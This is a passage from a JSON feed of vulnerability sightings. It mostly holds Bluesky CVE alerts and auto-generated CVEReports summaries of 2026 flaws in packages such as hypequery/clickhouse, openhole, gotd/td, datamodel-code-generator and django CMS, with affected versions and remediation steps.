'pagy' gem entry.\n2. Update the version definition to target at least version 43.5.6: `gem 'pagy', '>= 43.5.6'`\n3. Execute `bundle update pagy` in the terminal to fetch and apply the updated dependency.\n4. Review custom controllers to ensure request parameters mapped to `Pagy::I18n.locale` undergo explicit whitelisting check if possible.\n\n## References\n\n- [Fix Commit](https://github.com/ddnexus/pagy/commit/efcf09690e9fa7d7abdfb987b785a55f87e287df)\n- [Pull Request #908](https://github.com/ddnexus/pagy/pull/908)\n- [Release Notes](https://github.com/ddnexus/pagy/releases/tag/43.5.6)\n- [GitHub Security Advisory](https://github.com/ddnexus/pagy/security/advisories/GHSA-2xmw-f8j8-wfxc)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54659) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T00:31:42.718483Z"}, {"uuid": "3e1ce8da-1301-4c1b-ba98-973479f8deae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54659", "type": "published-proof-of-concept", "source": "https://github.com/ddnexus/pagy/security/advisories/GHSA-2xmw-f8j8-wfxc", "content": "", "creation_timestamp": "2026-07-29T00:35:03.227281Z"}, {"uuid": "d41b18ff-e160-45be-8677-ee298c3a7673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54638", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrqtdflp4f2w", "content": "\ud83d\udfe0 CVE-2026-54638 - High (7.5)\n\ngotd/td is a T Telegram MTProto API client in Go. Prior to 0.145.1, proto.UnencryptedMessage.Deco...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54638/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-29T02:00:45.035880Z"}, {"uuid": "2a18ba22-98e5-4f21-96df-42e5b2cf1ca4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54650", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrqtdm6wwg23", "content": "\ud83d\udfe0 CVE-2026-54650 - High (8.6)\n\nopenhole exposes localhost to the internet in one command. In 0.1.1 and earlier, openhole-server ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54650/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-29T02:00:52.181439Z"}, {"uuid": "aadebc2a-1fd4-4e59-aa54-012bdeeed816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54658", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrqtdtaeoa2u", "content": "\ud83d\udd34 CVE-2026-54658 - Critical (9.8)\n\nHypequery is a TypeScript semantic layer for ClickHouse. Prior to 2.0.2, escapeValue() in package...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54658/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-29T02:00:59.872209Z"}, {"uuid": "41c2ad9f-0f18-49f8-91e1-5a37382152ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54639", "type": "seen", "source": "https://gist.github.com/alon710/f56e7fea90184a0067b486a540ca3738", "content": "# CVE-2026-54639: CVE-2026-54639: Prototype Pollution and Patch Bypass in style-dictionary\n\n> **CVSS Score:** 8.8\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54639\n\n## Summary\nA critical prototype pollution vulnerability (CVE-2026-54639) exists in style-dictionary versions 4.3.0 through 5.4.3 due to unsafe object traversal in the convertTokenData utility. Although a patch was released in version 5.4.4 targeting '__proto__', a complete bypass is possible using 'constructor.prototype', leading to persistent global prototype pollution and potential remote code execution.\n\n## TL;DR\nstyle-dictionary is vulnerable to prototype pollution via convertTokenData. An incomplete patch in v5.4.4 can be bypassed using constructor.prototype, allowing global runtime pollution.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1321\n- **Vulnerability Class**: Prototype Pollution\n- **CVSS v3.1 Score**: 8.8 (High)\n- **Attack Vector**: Local (escalatible to Remote)\n- **EPSS Score**: 0.00132 (3.12 percentile)\n- **Patch Status**: Incomplete (v5.4.4 bypass identified)\n- **CISA KEV Status**: Not listed\n\n## Affected Systems\n\n- style-dictionary NPM package\n- **style-dictionary**: >= 4.3.0, <= 5.4.3 (Fixed in: `5.4.4 (Incomplete fix)`)\n\n## Mitigation\n\n- Validate and sanitize all design token input keys before passing to the conversion function.\n- Override convertToTokenObject behavior or use Object.create(null) for dynamic dictionary construction.\n- Upgrade to a secure patched version once a complete remediation block is deployed.\n\n**Remediation Steps:**\n1. Identify applications utilizing style-dictionary's convertTokenData utility dynamically with user-controlled input.\n2. Deploy a custom input sanitizer regex pattern to block keys containing '__proto__', 'constructor', or 'prototype'.\n3. Refactor code to construct design token maps using secure JSON Schema validation.\n\n## References\n\n- [GHSA-vj5c-m527-mpff](https://github.com/style-dictionary/style-dictionary/security/advisories/GHSA-vj5c-m527-mpff)\n- [NVD - CVE-2026-54639](https://nvd.nist.gov/vuln/detail/CVE-2026-54639)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54639) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T02:31:53.724323Z"}, {"uuid": "9840f032-9c37-4aaf-8d5d-57398c9d6383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54650", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqvvxefvd2s", "content": "CVE-2026-54650 - openhole-server vulnerable to path traversal via URL-decoded request path\nCVE ID : CVE-2026-54650\n \n Published : July 28, 2026, 11:17 p.m. | 3\u00a0hours, 23\u00a0minutes ago\n \n Description : openhole exposes localhost to the internet in one command. In 0.1.1 and earlie...", "creation_timestamp": "2026-07-29T02:46:54.711712Z"}, {"uuid": "8d982bd1-1d72-436e-8440-ac929b1b8d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54658", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqw4vq6xv2s", "content": "CVE-2026-54658 - @hypequery/clickhouse has SQL Injection in parameter escaping that allows arbitrary SQL execution\nCVE ID : CVE-2026-54658\n \n Published : July 28, 2026, 11:17 p.m. | 3\u00a0hours, 23\u00a0minutes ago\n \n Description : Hypequery is a TypeScript semantic layer for ClickHous...", "creation_timestamp": "2026-07-29T02:50:47.600723Z"}, {"uuid": "32e7ef6b-aaf0-4d4b-8a8a-da97bbad560a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54658", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqwtmubyr2o", "content": "CVE-2026-54658 - @hypequery/clickhouse has SQL Injection in parameter escaping that allows arbitrary SQL execution\nCVE ID : CVE-2026-54658\n \n Published : July 28, 2026, 11:17 p.m. | 3\u00a0hours, 21\u00a0minutes ago\n \n Description : Hypequery is a TypeScript semantic layer for ClickHous...", "creation_timestamp": "2026-07-29T03:03:30.193749Z"}, {"uuid": "99f6e6ea-5b5e-4fa4-9e58-50d06e1aa28d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54650", "type": "seen", "source": "https://gist.github.com/alon710/82214e78c8e50d09cf347aa9a1d86bfb", "content": "# CVE-2026-54650: CVE-2026-54650: Remote Path Traversal in openhole-server and openhole CLI Client\n\n> **CVSS Score:** 8.6\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54650\n\n## Summary\nA critical path traversal vulnerability (CWE-22) in openhole-server version 0.1.1 and earlier allows remote, unauthenticated attackers to traverse directories and access restricted files or endpoints on local backend services exposed via the tunnel proxy. The issue stems from improper handling of decoded URL paths inside the proxy handler, which are then reconstructed and executed literally by the CLI client.\n\n## TL;DR\nA path traversal flaw in the openhole proxy server decodes percent-encoded dot-dot-slash segments and forwards them to the local agent, which executes raw, unauthorized file retrieval requests against local development services.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **CVSS v3.1**: 8.6\n- **EPSS Score**: N/A\n- **Impact**: Confidentiality (High)\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- openhole-server <= 0.1.1\n- openhole CLI client <= 0.1.1\n- **openhole**: <= 0.1.1 (Fixed in: `0.1.2`)\n\n## Mitigation\n\n- Upgrade openhole binaries and server components to version 0.1.2 or above\n- Restrict access to the public proxy using firewall rules, IP whitelisting, or authentication headers\n- Avoid running local development servers under privileged administrator accounts\n\n**Remediation Steps:**\n1. Run the default installation update script: curl -fsSL https://openhole.dev/install.sh | sh\n2. Alternatively, pull from source, checkout v0.1.2, and compile using: go build -o openhole cmd/openhole/main.go\n3. Restart any active tunnels to ensure updated path routing configurations are enforced\n\n## References\n\n- [openhole GitHub Repository](https://github.com/bablilayoub/openhole)\n- [openhole Security Patch Commit](https://github.com/bablilayoub/openhole/commit/a28c27adde2a7ed0c347b730c8707208c0f78ed3)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54650) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T03:32:05.314932Z"}, {"uuid": "20ae540c-330a-46d5-b34d-8a70c046a3fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54650", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqylspu6q23", "content": "CVE-2026-54650 - openhole-server vulnerable to path traversal via URL-decoded request path\nCVE ID : CVE-2026-54650\n \n Published : July 28, 2026, 11:17 p.m. | 3\u00a0hours, 21\u00a0minutes ago\n \n Description : openhole exposes localhost to the internet in one command. In 0.1.1 and earlie...", "creation_timestamp": "2026-07-29T03:34:55.728872Z"}, {"uuid": "0ded817a-1231-4ca5-bab0-cf27a0284750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54659", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqyur5xl32i", "content": "CVE-2026-54659 - Pagy I18n locale option is not validated before being used in a file path\nCVE ID : CVE-2026-54659\n \n Published : July 28, 2026, 11:17 p.m. | 3\u00a0hours, 23\u00a0minutes ago\n \n Description : Pagy is agnostic pagination in plain Ruby. From 43.0.0 until 43.5.6, Pagy::I18...", "creation_timestamp": "2026-07-29T03:39:55.820389Z"}, {"uuid": "8df48e91-c11f-434a-a4e4-76fa0e76799c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54658", "type": "seen", "source": "https://gist.github.com/alon710/58765246c17b37995ac42b87551c99f8", "content": "# CVE-2026-54658: CVE-2026-54658: SQL Injection via Parameter Escaping Bypass in @hypequery/clickhouse\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54658\n\n## Summary\nA critical SQL injection vulnerability was identified in @hypequery/clickhouse prior to version 2.0.2. The escapeValue utility function in packages/clickhouse/src/core/utils.ts fails to escape literal backslash characters before replacing single quotes. This allows remote, unauthenticated attackers to supply input parameters ending in a backslash, neutralizing the closing quote character inside ClickHouse databases and enabling arbitrary SQL execution.\n\n## TL;DR\nImproper escaping of trailing backslash characters in @hypequery/clickhouse parameter substitution allows attackers to escape string literal boundaries and inject arbitrary SQL commands into ClickHouse queries.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-89\n- **Attack Vector**: Network (AV:N)\n- **CVSS Severity**: 9.8 (Critical)\n- **Exploit Status**: PoC (Proof of Concept) available in repository tests\n- **CISA KEV Status**: Not listed\n- **Mitigated Version**: 2.0.2\n\n## Affected Systems\n\n- @hypequery/clickhouse\n- **@hypequery/clickhouse**: < 2.0.2 (Fixed in: `2.0.2`)\n\n## Mitigation\n\n- Upgrade the dependency `@hypequery/clickhouse` to version 2.0.2 or higher immediately.\n- Apply least-privilege principles to database connections, restricting write, modify, and drop permissions for application service roles.\n- Deploy Web Application Firewall (WAF) signatures to block incoming HTTP requests with parameter values containing unescaped trailing backslashes.\n\n**Remediation Steps:**\n1. Open the project package.json file and locate the dependency entry for @hypequery/clickhouse.\n2. Update the version number to at least 2.0.2.\n3. Run your package manager install command (e.g., npm install or yarn install) to pull down and link the patched library version.\n4. Verify the changes by checking package-lock.json or yarn.lock to confirm the installed package is 2.0.2.\n\n## References\n\n- [CVE Official Record](https://www.cve.org/CVERecord?id=CVE-2026-54658)\n- [GitHub Security Advisory GHSA-6wcc-39rp-hh9p](https://github.com/hypequery/hypequery/security/advisories/GHSA-6wcc-39rp-hh9p)\n- [Official Security Patch Commit](https://github.com/hypequery/hypequery/commit/4dfa9d77d70a08b970e722268b75ca7d13db0bdf)\n- [Release Changelog](https://github.com/hypequery/hypequery/blob/main/packages/clickhouse/CHANGELOG.md#202)\n- [Release Page](https://github.com/hypequery/hypequery/releases/tag/@hypequery/clickhouse@2.0.2)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54658) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T04:31:03.894417Z"}, {"uuid": "01e7102a-b53d-4ad9-90ee-1a98c8ea1750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrr4ulrqc724", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50522: 32 interactions\nCVE-2026-63077: 21 interactions\nCVE-2026-54121: 15 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63077: 21 interactions\nCVE-2026-54121: 12 interactions\nCVE-2026-64531: 11 interactions\n", "creation_timestamp": "2026-07-29T04:51:25.464986Z"}, {"uuid": "99dd3570-0f1b-4f41-af7e-cb2cbd42ab5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5450", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrr6nhc4wca5", "content": "CVE-2026-5450 | Ubuntu https://ubuntu.com/security/CVE-2026-5450", "creation_timestamp": "2026-07-29T05:23:34.530355Z"}, {"uuid": "fba277d0-f9df-457a-8213-9bfdd75bc2de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54638", "type": "seen", "source": "https://gist.github.com/alon710/7cdf75a52c50aebac3f872ab5cf7bfbf", "content": "# CVE-2026-54638: CVE-2026-54638: Pre-Authentication Denial of Service via Unbounded Memory Allocation in gotd/td MTProto Parser\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54638\n\n## Summary\nAn unauthenticated remote Denial of Service (DoS) vulnerability exists in the plaintext message parsing implementation of gotd/td, a Go-based Telegram MTProto client and server library. The security flaw is located within the unencrypted message decoding pipeline, where the parser reads an untrusted length header and immediately performs a heap-based memory allocation without checking if the buffer contains the corresponding bytes. An attacker can exploit this behavior by sending a single crafted 20-byte packet containing an extremely large length value, leading to immediate memory exhaustion and process termination by the operating system Out-Of-Memory (OOM) killer.\n\n## TL;DR\nA critical pre-authentication vulnerability in gotd/td (< 0.145.1) allows a remote attacker to crash the MTProto server or client with a single 20-byte TCP packet. The parser immediately allocates heap memory based on an unverified length header in unencrypted packets, triggering an out-of-memory crash or severe resource exhaustion prior to any validation.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-770, CWE-789\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 7.5 (High)\n- **Exploit Maturity**: PoC Available\n- **Impact**: Denial of Service (OOM Crash)\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- github.com/gotd/td\n- **github.com/gotd/td**: < 0.145.1 (Fixed in: `0.145.1`)\n\n## Mitigation\n\n- Upgrade gotd/td dependency to version v0.145.1 or later\n- Deploy rate-limiting policies for incoming unauthenticated TCP connections\n- Implement application-level reverse proxies to filter out anomalous handshake packets\n- Enforce memory limits and automated container restart policies in orchestration platforms\n\n**Remediation Steps:**\n1. Identify all microservices and Go binaries utilizing github.com/gotd/td\n2. Update the go.mod file of the affected services to request github.com/gotd/td v0.145.1\n3. Run 'go mod tidy' to update the dependency tree and lockfile\n4. Recompile the binaries using the patched version of the dependency\n5. Redeploy the updated services to production environments\n\n## References\n\n- [Official GitHub Advisory](https://github.com/gotd/td/security/advisories/GHSA-whmm-qj9r-wvr2)\n- [Vulnerability Disclosure Issue](https://github.com/gotd/td/issues/1711)\n- [Fix Commit Link](https://github.com/gotd/td/commit/9d5d1f31ea5022d9798d84ccce15de2e91ba6baa)\n- [Official v0.145.1 Release Details](https://github.com/gotd/td/releases/tag/v0.145.1)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54638) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T05:32:48.014593Z"}, {"uuid": "12c1db51-1426-41b5-a583-3c7a5a6a7b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54654", "type": "seen", "source": "https://gist.github.com/alon710/22ff7de2f68c39286e130a0c2981900e", "content": "# CVE-2026-54654: CVE-2026-54654: Python Code Injection in datamodel-code-generator via Comment Line-Break Escape\n\n> **CVSS Score:** 7.8\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54654\n\n## Summary\nA vulnerability in the datamodel-code-generator library allows for unauthenticated remote code execution when generating code from malicious or untrusted schema specifications. By embedding special physical line terminators, such as carriage returns, vertical tabs, or form feeds, within template values, an attacker can break out of inline Python comment boundaries. The generated output file subsequently contains un-commented python instructions that execute automatically during module import.\n\n## TL;DR\nA local code injection vulnerability exists in datamodel-code-generator versions prior to 0.60.2. Inadequate sanitization of line terminators in the comment metadata of schema templates allows attackers to inject arbitrary executable statements into generated Python code, which triggers code execution when the generated files are imported.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-94, CWE-1336\n- **Attack Vector**: Local (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n- **CVSS Severity Score**: 7.8 (High)\n- **Exploit Status**: Proof-of-Concept (PoC) available\n- **Primary Vulnerable Component**: Jinja2 template interpolation logic in koxudaxi/datamodel-code-generator\n- **Fix Version**: 0.60.2\n\n## Affected Systems\n\n- datamodel-code-generator versions starting from 0.14.1 up to (but not including) 0.60.2\n- **datamodel-code-generator**: >= 0.14.1, < 0.60.2 (Fixed in: `0.60.2`)\n\n## Mitigation\n\n- Upgrade datamodel-code-generator to version 0.60.2 or higher to ensure inputs are properly sanitized.\n- Implement pre-processing scripts that scrub or reject carriage returns, vertical tabs, and form feeds from JSON metadata input before compiling files.\n- Avoid importing unverified generated models directly in production deployments without initial syntactic sanity checks or static scanning.\n\n**Remediation Steps:**\n1. Inspect requirements.txt, poetry.lock, or Pipfile configurations to detect vulnerable versions of the generator (< 0.60.2).\n2. Execute the package manager update command: pip install --upgrade \"datamodel-code-generator>=0.60.2\".\n3. Review any internal workflows that utilize absolute paths for custom templates, as these bypass default comment sanitization features and must be audited manually.\n\n## References\n\n- [GHSA-wjv6-jcfj-mf9r: Python Code Injection in datamodel-code-generator](https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-wjv6-jcfj-mf9r)\n- [Release 0.60.2: official patched update release details](https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.2)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54654) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T09:32:26.834258Z"}, {"uuid": "414979be-3910-42a3-b464-c1d03ce65d32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54653", "type": "seen", "source": "https://gist.github.com/alon710/18c642199d3d87ef43a0391f4cc215a6", "content": "# CVE-2026-54653: CVE-2026-54653: Remote Code Execution via Code Injection in datamodel-code-generator\n\n> **CVSS Score:** 8.8\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54653\n\n## Summary\nA critical code injection vulnerability exists in datamodel-code-generator from version 0.17.0 up to 0.60.1. The vulnerability allows remote attackers who supply a malicious JSON schema to execute arbitrary Python code. This occurs when the schema specifies a payload inside the 'default_factory' field extra, which is rendered directly into generated code without sanitization. When downstream processes load or import the output code, the evaluation of the class definition immediately triggers the execution of the injected code.\n\n## TL;DR\nUnsanitized rendering of the 'default_factory' schema parameter allows unauthenticated remote attackers to inject arbitrary Python expressions, resulting in automatic code execution when downstream applications import the generated code.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-94\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 8.8\n- **Exploit Status**: Proof-of-Concept\n- **Impact**: Arbitrary Code Execution (RCE)\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- datamodel-code-generator\n- **datamodel-code-generator**: >= 0.17.0, < 0.60.2 (Fixed in: `0.60.2`)\n\n## Mitigation\n\n- Upgrade datamodel-code-generator to version 0.60.2 or later.\n- Implement automated validation on JSON schemas to reject unexpected patterns in the default_factory property.\n- Isolate the model compilation process in an unprivileged runtime container with restricted system access.\n\n**Remediation Steps:**\n1. Check current datamodel-code-generator dependency version.\n2. Run pip install --upgrade datamodel-code-generator>=0.60.2 to install the security patch.\n3. Audit pipeline configuration and restrict network access during automated module generation.\n4. Establish static analysis scanners to inspect generated python files for suspicious imports or function executions before production usage.\n\n## References\n\n- [GitHub Security Advisory (GHSA-386q-5hp3-95m9)](https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-386q-5hp3-95m9)\n- [Vulnerability Patch Commit](https://github.com/koxudaxi/datamodel-code-generator/commit/17fc235e234cbcfaaadef8c74cb72c9687db0d1d)\n- [Official v0.60.2 Release Details](https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.2)\n- [CVE-2026-54653 Official Record](https://www.cve.org/CVERecord?id=CVE-2026-54653)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54653) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T11:31:22.607334Z"}, {"uuid": "b6a5d9a6-53fd-4a7e-b3b0-4c59c40b5b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54369", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mrruvzsgff2r", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-54369 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/606 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-07-29T12:01:42.939517Z"}, {"uuid": "4310b358-4cf1-4347-acb1-3afa160ff00c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54687", "type": "seen", "source": "https://gist.github.com/alon710/796cb46fa1a6e144f351d5ffd2b774d8", "content": "# CVE-2026-54687: CVE-2026-54687: Path Traversal via User-Controlled Database File Path in n8n-nodes-sqlite3\n\n> **CVSS Score:** 6.1\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54687\n\n## Summary\nPrior to version 1.0.0, the n8n-nodes-sqlite3 integration exposed the db_path parameter as an unrestricted node parameter. By default, n8n node parameters allow the evaluation of dynamic data expressions, meaning untrusted external input could be mapped to the database path. This vulnerability allows an external attacker to control which SQLite database file the n8n backend process attempts to open, leading to directory traversal outside of the intended directory context.\n\n## TL;DR\nA path traversal vulnerability in n8n-nodes-sqlite3 prior to v1.0.0 allows remote attackers to read, create, or overwrite arbitrary database-compatible files via a manipulated db_path parameter.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **Attack Complexity**: High\n- **Privileges Required**: None\n- **User Interaction**: Passive\n- **EPSS Score**: N/A\n- **Exploit Status**: Proof-of-Concept / Conceptual\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- n8n-nodes-sqlite3\n- **n8n-nodes-sqlite3**: < 1.0.0 (Fixed in: `1.0.0`)\n\n## Mitigation\n\n- Upgrade n8n-nodes-sqlite3 to version 1.0.0 or higher\n- Migrate to the credential-based V2 node architecture\n- Disable dynamic expression mapping on database paths\n\n**Remediation Steps:**\n1. Verify the current version of n8n-nodes-sqlite3 package.\n2. Execute npm update n8n-nodes-sqlite3 or update via the n8n community node interface.\n3. Rebuild workflows utilizing the SQLite node to adopt the V2 node definition.\n4. Ensure all db_path inputs are configured as static local paths and do not consume input from query, body, or header variables.\n\n## References\n\n- [Fix Commit](https://github.com/DangerBlack/n8n-node-sqlite3/commit/145a8876ff12375813bdcd4ae4fe78f460c53a98)\n- [Pull Request](https://github.com/DangerBlack/n8n-node-sqlite3/pull/25)\n- [GitHub Security Advisory](https://github.com/DangerBlack/n8n-node-sqlite3/security/advisories/GHSA-q7m3-rhxg-7vxr)\n- [Repository](https://github.com/DangerBlack/n8n-node-sqlite3)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54687) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T22:31:50.832313Z"}, {"uuid": "bd485eca-b770-4e79-b357-a6b0d2133e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54625", "type": "seen", "source": "https://gist.github.com/alon710/818add0e0ce97b333c2bed9ff2722107", "content": "# CVE-2026-54625: CVE-2026-54625: Server-Side Page Cache Bypass and Cache Poisoning in django CMS\n\n> **CVSS Score:** 4.8\n> **Published:** 2026-08-24\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54625\n\n## Summary\nPrior to version 5.0.8, django CMS fails to respect dynamically declared Vary HTTP headers in its internal page cache. This allows remote attackers to bypass authorization, leak sensitive information across user sessions, or poison the page cache by sending requests with custom headers.\n\n## TL;DR\ndjango CMS versions before 5.0.8 and 5.1.0 contain a cache key computation flaw that ignores plugin-declared HTTP Vary headers, leading to server-side cache poisoning and information disclosure.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-524 / CWE-349\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 4.8\n- **EPSS Score**: 0.00147\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- django-cms\n- **django-cms**: < 5.0.8 (Fixed in: `5.0.8`)\n- **django-cms**: >= 5.1.0a1, < 5.1.0 (Fixed in: `5.1.0`)\n\n## Mitigation\n\n- Disable internal page caching by setting CMS_PAGE_CACHE = False\n- Upgrade to django CMS version 5.0.8 or 5.1.0\n- Sanitize or strip custom vary headers at the upstream reverse proxy or CDN level\n\n**Remediation Steps:**\n1. Upgrade django-cms using pip: pip install --upgrade django-cms>=5.0.8\n2. Verify the application configuration and test plugin cache partitions\n3. Clear existing cache entries using the cache backend's management tools or the Django caching API\n4. Ensure upstream CDNs or proxies are configured to prevent header injection from untrusted clients\n\n## References\n\n- [GitHub Security Advisory GHSA-fwjf-m4qw-9f2x](https://github.com/django-cms/django-cms/security/advisories/GHSA-fwjf-m4qw-9f2x)\n- [NVD CVE-2026-54625 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54625)\n- [django CMS Pull Request 8646](https://github.com/django-cms/django-cms/pull/8646)\n- [django CMS Pull Request 8647](https://github.com/django-cms/django-cms/pull/8647)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54625) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-25T14:31:38.973813Z"}, {"uuid": "a5cf6d02-914b-422d-bb1b-6bbaa848de00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54356", "type": "seen", "source": 